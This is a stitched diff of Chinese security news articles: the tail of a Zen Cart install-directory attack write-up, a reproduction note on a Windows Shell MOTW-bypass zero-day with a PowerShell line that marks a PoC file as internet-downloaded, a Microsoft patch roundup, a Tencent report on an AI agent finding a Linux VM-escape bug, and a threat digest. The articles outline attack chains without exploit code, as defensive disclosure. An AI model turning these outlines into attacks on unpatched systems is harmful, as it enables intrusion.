1. **安装目录是「产品自带的第二套认证」，而它通常没有认证。**
|
||||
主应用做得再严，旁边那个忘了删的安装向导会把一切清零。
|
||||
|
||||
1. **payload 是环境相关的，不是万能钥匙。**
|
||||
一份能跑的 PoC 背后，是 PHP 版本、过滤函数、字符集、配置项的连环妥协。看到 500 先别下结论说「不存在」，先怀疑自己的写法。
|
||||
|
||||
1. **回显不等于成功。**
|
||||
能自己造一个唯一的「证据」并读回来，才算真的打通。有时候「root 读不到、但 RCE 能读到」，反而是最硬的证明。
|
||||
|
||||
至于防御，思路一如既往地简单：**把链条上任意一环掐断，链就断了。**
|
||||
而这两条链上最便宜、最有效的那一刀，就是 rm -rf zc_install/
|
||||
。
|
||||
|
||||
觉得有收获？
|
||||
|
||||
点个「在看」和「赞」，顺手检查一下你负责的系统里还有没有忘记删的安装目录 👇
|
||||
下一期拆「ILIAS」。
|
||||
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
# 已复现 | Windows Shell 0day漏洞
|
||||
原创 陆安予
|
||||
陆安予 白帽子安全笔记2.0 2026-10-19 17:31
|
||||
|
||||
|
||||
|
||||
## 一、这是什么
|
||||
|
||||
这是 2026 年10月微软补丁修复的 Windows Shell 中一个已被在野利用的 0Day 命令注入漏洞，允许攻击者绕过 Mark of the Web (MOTW) 安全机制执行任意命令。编号：CVE-2026-96951。
|
||||
|
||||
|
||||
|
||||
CVE-2026-96951
|
||||
## 二、技术原理
|
||||
|
||||
从捕获的在野攻击样本中看，攻击者投递了一个特制的XML格式的文件来触发漏洞，其中包含了嵌入PDF数据以绕过检测，它在CVE-2018-8414基础上变形而来，但存在多处修改。
|
||||
## 三、复现情况
|
||||
|
||||
在未打10月补丁的WIN11-25H2机器上，打开可以弹出计算器，对文件施加一个MOTW，打开依然绕过。这表明存在MOTW绕过，意味着从互联网下载打开不会存在任何警告:
|
||||
```
|
||||
Set-Content -Path poc.SettingContent-ms -Stream Zone.Identifier -Value '[ZoneTransfer]','ZoneId=3','HostUrl=https://example.com' -Encoding ASCII
|
||||
```
|
||||
|
||||
|
||||
|
||||
未打补丁
|
||||
|
||||
在已打最新补丁的系统上，打开则触发拦截，一旦点击允许，依然弹出计算器。十分危险。
|
||||
|
||||
|
||||
|
||||
已打补丁
|
||||
|
||||
这是 2026 年第三个被在野利用的 Windows Shell MOTW 绕过漏洞（前两个是 2 月的 CVE-2026-21510 和 4 月的 CVE-2026-32202）。
|
||||
|
||||
或许由于传统的LNK，以及其它格式均被MOTW防线阻止，这表明攻击者今年明显在集中火力攻击 Windows 的 MOTW 机制。
|
||||
## 四、处置建议
|
||||
|
||||
立即将windows更新至10月份版本，直到最新。并将此文件纳入信息安全意识培训，以防止钓鱼攻击。
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,67 @@
|
||||
# 微软在10月份修复了1400+个安全漏洞
|
||||
NERCIS
|
||||
NERCIS 信息安全国家工程研究中心 2026-10-19 09:30
|
||||
|
||||
|
||||
|
||||
据CNNVD通报，近日，微软官方发布了多个安全漏洞的公告，全部为影响微软产品本身的漏洞，共1423个。微软Microsoft Windows、Microsoft Windows Credential Manager、Microsoft Windows SMB Server、Microsoft Windows Performance Monitor等多个产品和系统受漏洞影响。
|
||||
|
||||
具体影响范围可访问微软官方网站查询：
|
||||
|
||||
https://portal.msrc.microsoft.com/zh-cn/security-guidance
|
||||
|
||||
微软此次更新创下全新历史峰值，一举打破今年7月、9月刚刚创造的纪录。作为对比，2025年全年微软发布的安全更新总量，仅仅刚超过1100个。
|
||||
|
||||
2026年10月这批补丁中，包含1个已经被黑客积极利用的漏洞（CVE-2026-96951），以及2个公开披露的零日漏洞（CVE-2026-108398、CVE-2026-92707）。
|
||||
|
||||
**在野活跃漏洞：CVE-2026-96951｜Windows Shell安全功能绕过**
|
||||
|
||||
CVSS评分：8.8，攻击门槛低，无需认证、无需系统权限即可发起攻击。
|
||||
|
||||
一旦被利用，会造成恶意软件暴露、数据泄露、系统完整性受损、业务中断等风险。
|
||||
|
||||
CVE-2026-96951 是一种存在于 Windows Shell 中的命令注入漏洞。远程攻击者可以通过专门用于利用该漏洞的文件来触发该漏洞。攻击者可以通过钓鱼邮件、恶意网站、即时消息投递特制文件，只要用户产生简单交互就能触发漏洞。这个漏洞非常适合作为大型攻击链的初始入口，它会压制系统安全告警，让恶意内容轻松绕过防护检测。
|
||||
|
||||
**零日漏洞1：CVE-2026-108398｜.NET Framework安全绕过**
|
||||
|
||||
CVSS评分8.8，属于已公开披露、暂未被实际攻击的零日漏洞。
|
||||
|
||||
经过认证的低权限攻击者，能够利用不受信任的程序集搜索路径，绕过Windows Defender应用程序控制（WDAC）。
|
||||
|
||||
该漏洞在入侵后攻击场景风险极高，本地访问权限的攻击者无需用户参与就能突破安全限制。成功利用会破坏系统安全、泄露企业敏感数据、削弱终端防护，干扰核心业务运转。
|
||||
|
||||
目前暂无临时缓解方案，微软标记为“更可能被利用”，建议管理员第一时间完成修补。
|
||||
|
||||
**零日漏洞2：CVE-2026-92707｜MessagePack-CSharp拒绝服务漏洞**
|
||||
|
||||
漏洞根源是.NET顺序内存分配管控缺陷，未授权攻击者可以发起攻击，导致网络服务瘫痪。
|
||||
|
||||
目前，微软官方已经发布了漏洞修复补丁，建议用户及时确认是否受到漏洞影响，尽快采取修补措施。
|
||||
|
||||
微软官方补丁下载地址：
|
||||
|
||||
https://msrc.microsoft.com/update-guide/en-us
|
||||
|
||||
来源：CNNVD安全动态、infosecurity-magazine
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**往期阅读**
|
||||
|
||||
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzU5OTQ0NzY3Ng==&mid=2247505377&idx=1&sn=a766bfe2e84543dc2da42e2a81bc524f&scene=21#wechat_redirect)
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzU5OTQ0NzY3Ng==&mid=2247505364&idx=1&sn=ae2aaa932a5e6b3b58a6280b5276e8f1&scene=21#wechat_redirect)
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzU5OTQ0NzY3Ng==&mid=2247505351&idx=1&sn=27c693168705fb874e206dd77e13291a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,174 @@
|
||||
# 打穿虚拟化边界！Corvus AI 与 隐藏十年的 Linux 内核漏洞的一场对决
|
||||
原创 腾讯朱雀实验室
|
||||
腾讯朱雀实验室 腾讯安全应急响应中心 2026-10-19 09:36
|
||||
|
||||
一段自 2017 年起潜伏在 Linux 内核主线近十年的底层缺陷，在真实环境中被 Corvus AI 用时 2 小时捕获。
|
||||
> 这处被命名为 Vghost（CVE-2026-74580，CVSS 8.8 高危） 的漏洞，广泛存在于 Ubuntu、RHEL、Amazon Linux、Azure Linux、Oracle Linux 等全球主流企业级服务器系统中。在实际业务场景下，它不仅能让任意普通低权限账号在几秒钟内直接接管整台服务器的最高管理员权限；在开启特定虚拟化加速配置的物理机或 AI 沙箱中，被关在虚拟机内部的程序还能突破隔离，直接篡改宿主机进程，威胁同一台物理机上的其他业务与核心资产。
|
||||
|
||||
> 发现该漏洞的 Corvus AI 是由 TencentOS 安全团队构建的漏洞研究智能体（上线至今已发现 100+ 个Linux 内核 0day，1day 检出率达 92%，守护 TencentOS 19 个版本及百万级服务器风险清零）。这一次，Corvus AI 联合腾讯混元 Hy4 preview 模型，全自动完成了从漏洞定位、分析到修复补丁编写与提交的全流程，修复补丁现已合入 Linux 上游主线。
|
||||
|
||||
|
||||
|
||||
**前言**
|
||||
|
||||
|
||||
|
||||
过去两个月里，Corvus AI 在 Linux 内核深水区连续发现了上百个安全隐患。
|
||||
|
||||
今年 8 月，团队刚刚公开了潜伏长达 18 年的高危漏洞 https://mp.weixin.qq.com/s/v4kFYfoO4aFhE-pSpnr7qg （CVE-2026-64564）。利用此漏洞，攻击者在普通 Docker 容器内部即可夺取主机 root 权限。TencentOS 安全团队积极协同社区完成了补丁合入，为大量依赖容器隔离的生产业务提前排除了安全风险。
|
||||
|
||||
在多租户等场景中，容器和虚拟机承担着隔离业务、限制代码访问范围的职责。一旦隔离被突破，风险就可能从单个运行环境扩散到其他业务。这一次，Corvus AI 将研究重点转向了虚拟机（VM）与宿主机之间的隔离。
|
||||
|
||||
在 Linux 虚拟化相关组件中，Corvus AI 发现了自 2017 年起就存在于主线代码中的 Vghost（CVE-2026-74580）。该漏洞可用于本地提权；在启用特定虚拟化加速配置的环境中，虚拟机内的程序还可借此篡改宿主机进程。
|
||||
|
||||
下面是 Vghost 的本地提权效果：实机演示中，普通用户运行利用程序后，在数秒内获得了当前系统的 root 权限。
|
||||
|
||||
|
||||
演示视频 -
|
||||
本地提权漏洞利用视频
|
||||
|
||||
|
||||
**漏洞详解**
|
||||
|
||||
|
||||
|
||||
现实世界里，我们访问的大多数网络服务都运行在虚拟机中。同一台物理机会同时承载多个租户，彼此互不影响，单台虚机出故障或被攻破也不能波及宿主机，这种隔离是多租户架构最基本的安全前提。
|
||||
|
||||
一台虚拟机，本来应该像一个被完全封闭的房间。但 Vghost 让房间里的数据穿过了隔离墙，直接写进宿主机的内存。因为宿主机在替虚拟机搬运数据时，用了一份没来得及更新的地址缓存，而这份旧的缓存内容可以被攻击者控制，数据被按旧记录写到了宿主机自己身上。在服务器开启了特定的虚拟化加速配置时，这种逃逸危害就更有可能发生。
|
||||
|
||||
|
||||
|
||||
图1 虚拟化逃逸的危害
|
||||
|
||||
这意味着如果业务把安全寄托在虚拟机隔离上，比如企业用虚拟机进行业务隔离和AI Agent 运行不可信代码的沙箱等场景，这道被默认信任的边界就可能从内部被击穿：攻击者在一台虚拟机里获得权限后，就有机会控制宿主机，进而威胁同一台宿主机上的其他业务。
|
||||
|
||||
下面的视频展示了这一逃逸过程：利用 Vghost，攻击者可突破虚拟机与宿主机之间的隔离边界。
|
||||
|
||||
|
||||
演示视频 - 通过虚拟机攻击宿主机
|
||||
|
||||
上方视频展示了左右两个终端：左边是虚拟机（Guest），攻击程序正在里面触发 vhost 漏洞；右边是宿主机。运行完PoC 之后，可以看到右边宿主机程序运行的运行轨迹已经被虚拟机篡改了。
|
||||
|
||||
而比单次攻击演示更令人细思极恐的，是这道虚拟化隔离屏障背后长达十年的攻防暗流。
|
||||
|
||||
|
||||
|
||||
|
||||
**打破虚拟化的隔离屏障**
|
||||
|
||||
|
||||
|
||||
回看虚拟化的发展历程，这一点反复被验证——2014 年，AWS 为修 Xen 逃逸，在漏洞公开前重启全球近 10% 的 EC2；2017 年起，虚拟化逃逸在国际赛事高频出现；2026 年，KVM 内核接连曝出 ITScape、Januscape、Zapscape。内核漏洞研究，正从用户提权走向突破系统边界。
|
||||
|
||||
|
||||
|
||||
图2 2016—2026 虚拟化逃逸能力样本
|
||||
|
||||
Vghos
|
||||
t 正是
|
||||
这种情况。围绕这一缺陷，团队完成了本地提权验证，并进一步确认了一条新的虚拟机逃逸向量。在指定的虚拟化配置下，客户机能够越过原有内存访问边界，向宿主 QEMU 进程内存发起越界写入。
|
||||
|
||||
|
||||
|
||||
图3 逃逸向量示意图
|
||||
|
||||
由于该
|
||||
内核缺陷既能实现宿主机本地确定性提权，又能跨越虚拟化边界改写宿主进程内存，Linux Kernel 官方 CNA 为 CVE-2026-74580 给出了 8.8 分高危评级。
|
||||
|
||||
|
||||
|
||||
图4 CVE-2026-74580 记录
|
||||
|
||||
既然这处足以击穿虚拟化边界的缺陷自 2017 年起就躺在 Linux 主线最核心的组件里，为什么过去近十年间，无数的静态扫描工具和全天候运行的内核模糊测试（Fuzzing），以及人工代码审计都没能抓住它，而 Corvus AI 却能在 2 小时内精准锁定？
|
||||
|
||||
|
||||
|
||||
**Corvus AI 如何两小时发现 Vghost**
|
||||
|
||||
|
||||
|
||||
这条跨越边界的路径，起点藏在 Linux 内核复杂的代码与运行状态之中。
|
||||
|
||||
美国国防高级研究计划局（DARPA）发起的 AIxCC（AI Cyber Challenge）竞赛曾把在 Linux 内核中寻找高危漏洞的难度直观地画了出来：
|
||||
|
||||
|
||||
如视频所示，仅 AIxCC 比赛涉及的局部 Linux 内核代码，就包含三万多个函数、七万多条调用关系。在决赛的 8 小时挑战中，只有一个全自治系统发现了 Linux 内核漏洞。该系统的核心开发者，如今也参与了 Corvus AI 的建设。
|
||||
|
||||
我们现在把视野放到完整的 Linux 内核源码树，要在真实环境中捕获 Vghost 并完成全自动验证，Corvus AI 在研究过程中跨过了三道技术难关：
|
||||
1. 跨时间尺度的逻辑盲区：
|
||||
|
||||
对缓存全生命周期进行完整状态推演。
|
||||
|
||||
1. 多步触发时序：
|
||||
传统 Fuzzing 几乎不可能撞中触发漏洞的组合，AI 需要自己读懂代码条件并倒推出触发剧本。
|
||||
|
||||
1. 稳定漏洞利用：
|
||||
Corvus AI 需要在严格的权限隔离下，自主推理出一条可行的利用路径，并完成跨多个主流发行版系统的自动化验证与补丁回归测试。
|
||||
|
||||
**模型能力升级带来的研究提速——Hy4 preview**
|
||||
|
||||
|
||||
|
||||
要连续跨过上述三道难关，多智能体流水线解决的是研究流程的调度与协作，而决定系统能否跑通端到端漏洞研究流程的，则是底层大模型的工程推理能力。
|
||||
|
||||
Corvus AI 的整体架构，我们在上一篇（[TencentOS 科维斯AI首秀：SCTPhantom——潜伏18年的Linux内核提权与容器逃逸漏洞](https://mp.weixin.qq.com/s?__biz=MjM5NzE1NjA0MQ==&mid=2651208584&idx=1&sn=fe28c3d4e1ee43b16379d36785ebe1b9&scene=21#wechat_redirect)
|
||||
|
||||
）里已经详细介绍过，此处不再展开。
|
||||
SCTPhantom 公开后，netdev 上围绕 SCTP 的补丁与讨论明显增多。风险曝光会迅速带来集中排查，而 Corvus AI 持续挖掘的，正是那些长期被忽视的组件及其安全问题。
|
||||
|
||||
|
||||
|
||||
图5 Kernel 邮件列表，sctp 组件相关补丁已经有上万次交流
|
||||
|
||||
在本次 Vghost 的完整研究闭环中，我们进一步接入了腾讯混元最新发布的
|
||||
|
||||
Hy4 preview
|
||||
模型，将其部署在考验代码能力的漏洞利用验证与修复补丁检查两个核心节点。
|
||||
|
||||
|
||||
|
||||
图6 Hy4 preview 模型能力评估
|
||||
|
||||
从涵盖 12 项前沿基准的评测结果来看，Hy4 preview 相比前代 Hy3 展现出了跨代式的能力跃迁。
|
||||
|
||||
评测数据表明，Hy4 preview 的提升本质上是底层软件工程与自治执行能力的全面跃迁：衡量真实软件修复的 DeepSWE 效果翻倍，真实命令行操作的 Terminal Bench 2.1 追平了 Claude Opus 5（已收录于
|
||||
Papers With Code
|
||||
等第三方公开榜单）。这种在复杂代码重构、自主终端调试与长程时序追踪上的综合突破，正是它能够在无人干预下完成 PoC 动态利用验证与高精度补丁差分分析的关键所在。
|
||||
|
||||
这种在长程代码推理与复杂工具调度上的底层突破，直接转化为了 Vghost 研究中的实战效率：接入 Hy4 preview 后，Corvus AI 不仅在 2 小时内锁定了潜伏十年的缓存失效根因，还全自动完成了跨内核版本的通用利用验证，并对上游修复补丁进行了严密的回归检查，确认其彻底切断了漏洞触发路径且不损耗正常虚拟化性能。
|
||||
|
||||
|
||||
|
||||
**跨生态验证与协同修复**
|
||||
|
||||
|
||||
|
||||
团队使用同一份 x86-64 利用代码，在上述六个发行版的测试环境中验证了本地提权链。修复补丁已合入 Linux 上游并回移植至相关维护分支，Amazon Linux、Oracle Linux 和 TencentOS 已发布安全更新（注：腾讯云 CVM 经全面排查不受该虚拟机逃逸配置影响）。
|
||||
|
||||
关于受影响内核版本范围、运维自查步骤及安全补丁升级指引，详见
|
||||
TencentOS 官方安全公告（
|
||||
https://cloud.tencent.com/document/product/1397/138440
|
||||
）
|
||||
。
|
||||
|
||||
|
||||
**结语 - 从一次发现到持续交付能力**
|
||||
|
||||
|
||||
|
||||
过去一个月，Corvus AI 独立发现的多个内核漏洞已获得官方 CVE 编号，另有上百个候选高危缺陷正在协同披露与修复中。通过多 Agent 协作，并在利用验证与补丁检查环节接入腾讯混元 Hy4 preview，Corvus AI 正持续完成从漏洞分析、利用验证到修复检查的研究工作，向社区提供可复现的验证结果与修复支持。
|
||||
|
||||
攻击者可以集中资源寻找一处可用的突破口，防守方则需要覆盖不同组件、配置与部署环境。当攻击方也借助 AI 加速漏洞挖掘和利用构造时，这种不对称会让防守更加被动。防守方需要把自动化能力用于持续排查、验证和修复，尽可能在漏洞被利用之前缩小风险暴露范围。
|
||||
|
||||
这正是 TencentOS 安全团队构建 Corvus AI 的初衷：让开源基础设施拥有与代码演进速度相匹配的自检与自愈能力。
|
||||
|
||||
待上游社区与各发行版完成本轮补丁同步后，我们将继续公开后续一系列内核安全案例的技术细节。
|
||||
|
||||
|
||||
关于
|
||||
Corvus AI
|
||||
|
||||
本案例由科维斯AI（Corvus AI）跑通完整漏洞研究流程，其中修复补丁检查与漏洞利用验证由 Hy4 preview 提供模型能力。
|
||||
|
||||
科维斯AI（Corvus AI）是由 TencentOS 安全团队构建的 Linux 发行版漏洞研究智能体。面向真实复杂的内核安全场景，系统依托多Agent 协同架构与 Harness 深度优化，实现了从漏洞挖掘、根因分析、稳定利用构建、跨环境验证到补丁开发的全链路自动化研究。Corvus AI 始终坚持负责任的漏洞披露原则，积极携手上游社区推动协同修复，致力于从源头提升开源 Linux 发行版生态的整体安全水位。
|
||||
|
||||
@@ -0,0 +1,170 @@
|
||||
# 每周网安资讯（10.13-10.19）| VMware vCenter Server信息泄露高危漏洞
|
||||
交大捷普 2026-10-19 10:10
|
||||
|
||||
|
||||
|
||||
2026[ 每周网安资讯 ]
|
||||
|
||||
|
||||
**网安资讯**
|
||||
|
||||
|
||||
1.全国多省市开
|
||||
展
|
||||
2026年度关键信息基础设施网络安全应急演练，聚焦突发网络攻击场景开展实战推演，检验防护与应急处置能
|
||||
力
|
||||
|
||||
|
||||
|
||||
公
|
||||
开
|
||||
资讯显示，本周多地组织关键信息基础设施单位开展网络安全应急演练，围绕勒索攻击、数据泄露等典型场景，检验监测预警、应急处置、业务恢复全流程能力。建议各单位参考演练思路，梳理自身业务风险，完善应急预案，定期开展内部应
|
||||
急推演。
|
||||
|
||||
|
||||
**安全情报**
|
||||
|
||||
|
||||
1. 黑
|
||||
产利用
|
||||
项目询价RFQ主题钓鱼邮件实施社工攻击，窃取企业销售资料与业务账号
|
||||
|
||||
|
||||
近期安全
|
||||
情报显示，攻击者伪装客户、采购方发送项目询价文件，附件内含恶意脚本。一旦打开附件可触发木马，窃取项目报价文档、内部通讯录与业务系
|
||||
统账号。建议销售、商务部门重点留意陌生
|
||||
询盘邮件，外来附件文件必须经过沙
|
||||
箱查杀
|
||||
。
|
||||
|
||||
|
||||
2. 工业互联网网关恶意探测
|
||||
行为增多，
|
||||
攻击者扫描网关管理端口尝试入侵
|
||||
|
||||
|
||||
|
||||
监测发现大量扫描流量瞄准公网暴露的工业网关设备，攻击者尝试利用弱口令登录，篡改
|
||||
采集配置、窃取设备运行数据。拥有工业互联网业务的
|
||||
单位，需隔离工控网与办公网，修改网关默认密码，开
|
||||
启操作日志审计。
|
||||
|
||||
|
||||
3. 对象存储临时访问密钥泄露事件频发，密钥处置不及时造成业务数据
|
||||
外
|
||||
泄
|
||||
|
||||
|
||||
不少企业开发人员将云存储临时密钥上传至代码仓库，攻击者获取密钥后直接下载业务文档、客户资料。建议运维、研发人员全面扫描代码仓库密钥，配置密钥最短有效期，定期
|
||||
开展云上资
|
||||
产巡检。
|
||||
|
||||
|
||||
4. 虚假网盘资
|
||||
源包钓鱼在短视频评论区传播，诱导用户运行
|
||||
恶意解压程序
|
||||
|
||||
|
||||
黑产在短视频平台分享影视、软件资源压缩包，附带虚假解压工具，工具运行后窃取本地文件与浏
|
||||
览器凭证。
|
||||
提醒员工不要下载短视频来源不明压缩包，拒绝运行陌生的解压、破解类程序。
|
||||
|
||||
|
||||
5. 网络门禁主机弱口令爆破持续活跃，大量公网门禁设备被批量抓取
|
||||
访问权
|
||||
限
|
||||
|
||||
|
||||
自动化扫描脚本持续探测联网门禁管理主机，尝试默认账号密码登录，窃取出入记录、开门权限。建议对公网暴露门禁设备修改默认密码，限制外网直接访问，开启设备异
|
||||
常登录告
|
||||
警。
|
||||
|
||||
|
||||
6. 仿电
|
||||
子招投标平台钓鱼网站活跃，诱导投标人员录入CA证书
|
||||
、账号信息
|
||||
|
||||
|
||||
攻击者搭建高仿招投标登录页面，通过短信、社群推送链接，骗取投标账号、证书密钥信息。提醒招投标经办人员，所有业务登录均通过官方域名访问，不点击陌
|
||||
生短信链
|
||||
接。
|
||||
|
||||
|
||||
**漏洞预警**
|
||||
|
||||
|
||||
**1.Atlassian Jira&Confluence任意文件读取高危漏洞**
|
||||
|
||||
|
||||
CNNVD收录Atl
|
||||
assian Jira、Confluence高危漏洞。未经身份验证攻击者可构造特殊请求，读取服务器任意敏感文件。使用该产品的单位尽快升级至安全版本，限制后台管
|
||||
理地址
|
||||
公网访问。
|
||||
|
||||
|
||||
2.Zammad客服系统远程代
|
||||
码
|
||||
执行漏洞
|
||||
|
||||
|
||||
CNNVD收录Zammad客服平台高危RCE漏洞。攻击者构造恶意请求可执行系统指令，接
|
||||
管客服服
|
||||
务器。运维人员升级补丁，客服平台禁止直接暴露公网，启用强认证与IP白名单。
|
||||
|
||||
|
||||
3.Citrix NetScaler网关远程
|
||||
代码执
|
||||
行高
|
||||
危漏洞
|
||||
|
||||
|
||||
CNNVD收录Citrix NetScaler多款网关高危漏洞。攻击者可远程执行指令，获取网关管理权限。尽快更新固件，关闭外网管理端口，开启
|
||||
多因素
|
||||
认证。
|
||||
|
||||
|
||||
4.LMCache大模型缓存框架
|
||||
未授
|
||||
权RCE漏洞
|
||||
|
||||
|
||||
CNNVD收录LMCache高危远程代码执行漏洞，远程攻击者可直接接管模型服务器。使用该框架的AI业务系统，限制访问来源IP，跟进官方修复通告，
|
||||
临时阻
|
||||
断公网访问。
|
||||
|
||||
|
||||
5.VMware vCenter Serve
|
||||
r信
|
||||
息泄露高危漏洞
|
||||
|
||||
|
||||
CNNVD收录vCenter漏洞，未授权用户可读取面板配置、账号凭证数据
|
||||
源信息。建议将vCenter后台置于内网，升级安全版本，配置最小账号权
|
||||
限。
|
||||
|
||||
|
||||
|
||||
|
||||
**关于捷普**
|
||||
|
||||
|
||||
**捷普**
|
||||
作为一家国内先进的新时代网络信息安全产品和服务提供商，坚持以“全面安全 智慧安全”为产品理念，持续技术创新，为广大用户提供
|
||||
**基础设施安全、数据安全、信创安全、工业互联网安全、云安全、物联网安全、国密安全**
|
||||
等七大系列网络安全产品。并在风险评估、渗透测试等
|
||||
**安全服务**
|
||||
上占据优势，协助用户全面提升IT基础设施的安全性、合规性和生产效能，面向数字时代保障信息系统全面安全。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**END**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,229 @@
|
||||
# 比特币早期客户端被成功复现: 从编译器到WinRAR，逐字节还原中本聪的发布流程
|
||||
tuto
|
||||
tuto 杂杂咱谈 2026-10-19 16:06
|
||||
|
||||
## 一、项目概述
|
||||
|
||||
一个名为 bitcoin-0.1-rebuilt
|
||||
的开源项目，成功从比特币(Bitcoin)最早期的 0.1.0 版本源码出发，重新构建出与中本聪(Satoshi Nakamoto)于 2009 年发布的 bitcoin.exe**逐字节完全一致**
|
||||
的可执行文件。
|
||||
|
||||
该项目不仅复现了原始程序，还重现了中本聪当年使用 WinRAR 打包发布文件的过程，最终生成与历史发布档案具有相同哈希值的 bitcoin-0.1.0.rar
|
||||
。
|
||||
|
||||
这一成果的意义不仅在于复现一个历史软件版本，更在于通过二进制文件分析、编译器版本还原、依赖库匹配和构建环境重建，验证原始发布程序与公开源码之间的对应关系，并进一步还原比特币早期开发环境的诸多细节。
|
||||
|
||||
项目地址：
|
||||
|
||||
https://github.com/t4t5/bitcoin-0.1-rebuilt
|
||||
|
||||
中本聪研究所(Satoshi Nakamoto Institute)历史代码档案：
|
||||
|
||||
https://satoshi.nakamotoinstitute.org/code/
|
||||
## 二、核心成果：原始二进制文件完全匹配
|
||||
|
||||
项目通过重建历史编译环境，生成了与原始发布文件完全一致的可执行文件及压缩档案。
|
||||
### 1. 原始可执行文件
|
||||
<table><thead><tr style="background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><th style="padding: 6px 13px;font-weight: 600;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">项目</span></section></th><th style="padding: 6px 13px;font-weight: 600;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">信息</span></section></th></tr></thead><tbody><tr style="background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">文件名称</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><code style="font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;white-space: break-spaces;background-color: rgba(129, 139, 152, 0.12);border-radius: 6px;"><span leaf="">bitcoin.exe</span></code></td></tr><tr style="background-color: rgb(246, 248, 250);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">文件大小</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">6,440,960 字节</span></section></td></tr><tr style="background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">SHA-256</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><code style="font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;white-space: break-spaces;background-color: rgba(129, 139, 152, 0.12);border-radius: 6px;"><span leaf="">fbcac071d92e26d82ec917214e334bd43850c0691f113bab1d4741c9bdd30d2d</span></code></td></tr><tr style="background-color: rgb(246, 248, 250);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">验证结果</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">与目标历史二进制文件逐字节匹配</span></section></td></tr></tbody></table>### 2. 原始发布压缩包
|
||||
<table><thead><tr style="background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><th style="padding: 6px 13px;font-weight: 600;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">项目</span></section></th><th style="padding: 6px 13px;font-weight: 600;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">信息</span></section></th></tr></thead><tbody><tr style="background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">文件名称</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><code style="font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;white-space: break-spaces;background-color: rgba(129, 139, 152, 0.12);border-radius: 6px;"><span leaf="">bitcoin-0.1.0.rar</span></code></td></tr><tr style="background-color: rgb(246, 248, 250);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">文件大小</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">2,132,686 字节</span></section></td></tr><tr style="background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">MD5</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><code style="font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;white-space: break-spaces;background-color: rgba(129, 139, 152, 0.12);border-radius: 6px;"><span leaf="">91e2dfa2af043eabbb38964cbf368500</span></code></td></tr><tr style="background-color: rgb(246, 248, 250);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">SHA-1</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><code style="font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;white-space: break-spaces;background-color: rgba(129, 139, 152, 0.12);border-radius: 6px;"><span leaf="">ec9ed4ccbc990eceb922ff0c4d71d1ad466990dd</span></code></td></tr><tr style="background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">验证结果</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">与历史发布压缩包的哈希值一致</span></section></td></tr></tbody></table>
|
||||
哈希值匹配与文件大小一致并不是同一个概念。本项目的关键成果是重新构建的可执行文件与目标文件逐字节一致，而生成的压缩包也通过了原始发布档案的哈希校验。
|
||||
## 三、为什么这一项目值得关注？
|
||||
### 1. 验证公开源码与历史二进制文件的一致性
|
||||
|
||||
对于早期软件而言，即使公开了源代码，也不一定能够直接重新编译出与历史发布版本完全相同的程序。
|
||||
